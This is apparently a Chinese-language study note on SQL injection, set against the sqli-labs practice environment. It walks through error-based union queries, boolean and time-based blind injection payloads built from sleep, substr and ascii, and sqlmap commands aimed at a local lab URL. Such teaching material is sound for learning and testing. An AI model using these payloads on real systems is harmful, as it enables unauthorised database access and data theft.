ThinkChat2.0新版上线,更智能更精彩,支持会话、画图、阅读、搜索等,送10W Token,即刻开启你的AI之旅 广告
![](https://img.kancloud.cn/41/e0/41e066af9a6c25a24868d9667253ec98_1241x333.jpg) ***** ## SQL注入 ### GET和POST请求 GET提交,请求的数据会附在URL之后(就是把数据放置在HTTP协议头中),以?分割URL 和传输数据,多个参数用&连接 <br>POST提交:把提交的数据放置在是HTTP包的包体中。 <br>因此,GET提交的数据会在地址栏中显示出来,而POST提交,地址栏不会改变 ### get基于报错的SQL注入 通过url中修改对应的ID值,为正常数字、字符(单引号,双引号,括号)、反斜线来探测url中是 否存在注入点 ### get基于报错的SQL注入利用 1.order by判断字段数 2.利用union select联合查询,获取表名 3.利用union select联合查询,获取字段名 4.利用union select联合查询,获取字段值 ### 盲注介绍 Blind SQL(盲注)是注入攻击的其中一种,向数据库发生true或false这样的问题,并根据应用程 序返回的信息判断结果。这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有 解决SQL注入存在的代码问题 ### 盲注种类 1.布尔类型 2.时间的盲注 ### GET基于时间的盲注 ``` if(ascii(substr(database(),1,1))=115,1,sleep(3)) ``` 当数据库名第一个字母的ASCII码等于115时,执行一次sleep(3)函数等待3秒 ### GET基于Boolean的盲注 基于布尔的盲注,我们通常采用下面的办法猜解字符串 <table> <thead> <tr> <th>SQL语句</th> <th>显示状态</th> <th>说明状态</th> </tr> </thead> <tbody> <tr> <td>((select length(database()))&gt;5)</td> <td>正常</td> <td>true</td> </tr> <tr> <td>((select length(database()))&gt;10)</td> <td>无显示</td> <td>false</td> </tr> <tr> <td>((select length(database()))&gt;7)</td> <td>正常</td> <td>true</td> </tr> <tr> <td>((select length(database()))&gt;8)</td> <td>无显示</td> <td>false</td> </tr> </tbody> </table> <table> <thead> <tr> <th>SQL语句</th> <th>显示状态</th> <th>说明状态</th> </tr> </thead> <tbody> <tr> <td>((select ascii(substr(database(),1,1)))&gt;75)</td> <td>正常</td> <td>true</td> </tr> <tr> <td>((select ascii(substr(database(),1,1)))&gt;100)</td> <td>正常</td> <td>true</td> </tr> <tr> <td>((select ascii(substr(database(),1,1)))&gt;113)</td> <td>正常</td> <td>true</td> </tr> <tr> <td>((select ascii(substr(database(),1,1)))&gt;119)</td> <td>无显示</td> <td>false</td> </tr> <tr> <td>((select ascii(substr(database(),1,1)))&gt;116)</td> <td>无显示</td> <td>false</td> </tr> <tr> <td>((select ascii(substr(database(),1,1)))&gt;114)</td> <td>正常</td> <td>true</td> </tr> <tr> <td>((select ascii(substr(database(),1,1)))&gt;115)</td> <td>无显示</td> <td>false</td> </tr> </tbody> </table> ``` select length(database()); select substr(database(),1,1); select ascii(substr(database(),1,1)); select ascii(substr(database(),1,1)) > N; select ascii(substr(database(),1,1)) = N; select ascii(substr(database(),1,1)) < N; ``` ### sqlmap安全测试 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique T --dbs ``` ### POST基于错误的注入 特点: 1.POST请求不能被缓存下来 2.POST请求不会保存在浏览器浏览记录中 3.以POST请求的URL无法保存为浏览器书签 4.POST请求没有长度限制 ### POST基于错误单引号注入 注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。可以借助对应的插件完 成修改任务 ### POST基于错误双引号注入 注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。可以借助对应的插件完 成修改任务 ### sqlmap安全测试 ``` python sqlmap.py -r target.txt -p passwd --technique E ``` targer.txt文件中是当前网址的请求,加上发送的参数 ### POST基于时间的盲注 在存在注入点POST提交的参数后加 ``` and (select (if(length(database())>5,sleep(5),null))) -- ``` 如果执行的页面响应时间大于5秒,肯定就存在注入,并且对应的SQL语句执行 ### POST基于布尔的盲注 在存在注入点POST提交的参数后加入if判断语句 ``` select length(database()); select substr(database(),1,1); select ascii(substr(database(),1,1)); select ascii(substr(database(),1,1)) > N; select ascii(substr(database(),1,1)) = N; select ascii(substr(database(),1,1)) < N; ```